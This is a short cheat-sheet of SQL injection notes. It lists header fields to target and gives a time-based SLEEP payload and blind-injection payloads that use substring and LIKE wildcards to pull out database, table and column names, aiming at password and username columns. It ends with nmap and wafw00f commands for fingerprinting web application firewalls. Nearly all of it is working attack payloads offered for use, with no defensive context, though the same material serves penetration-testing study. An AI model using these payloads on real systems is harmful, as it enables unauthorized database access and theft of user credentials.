

SQL HEADER BASED

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FOR HEADER BASED TRY ON --> URL, LOCATION, HOST, REFERER

EXPLOITATION-----

Do same as we did in blind time based sql

Ex=> ' OR SLEEP(2) ' AND 'A'='A

PAYLOAD FOR BLIND SQL=>

```
substring((Select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97%23
```

TO FASTEN IT USE WILD CHARACTERS LIKE _ AND %

EX=>

```
Select username,password where city like 'u_t_ %'
```

DATABASE=>

```
1' and (select 1 from dual where database() like '%')%23
```

Use the common character=>a,e,i,o,u,s,t,r,h

Tables=> ' and (select 1 from dual where (select table_name from information_schema.columns where table_schema=database() and column_name like '%pass%' limit 0,1) like '%')%23

Columns=> ' and (select 1 from dual where (select column_name from information_schema.columns where table_schema=database() and table_name='users' and column_name like '%username%' limit 0,1) like '%')%23

WAF DETECTION

Detecting WAF using NMAP => nmap -p80 --script http-waf-detect <host>

Fingerprinting WAF using NMAP => nmap -p80 --script http-waf-fingerprint <host>

Fingerprinting WAF using WAFw00f => wafw00f.py <url>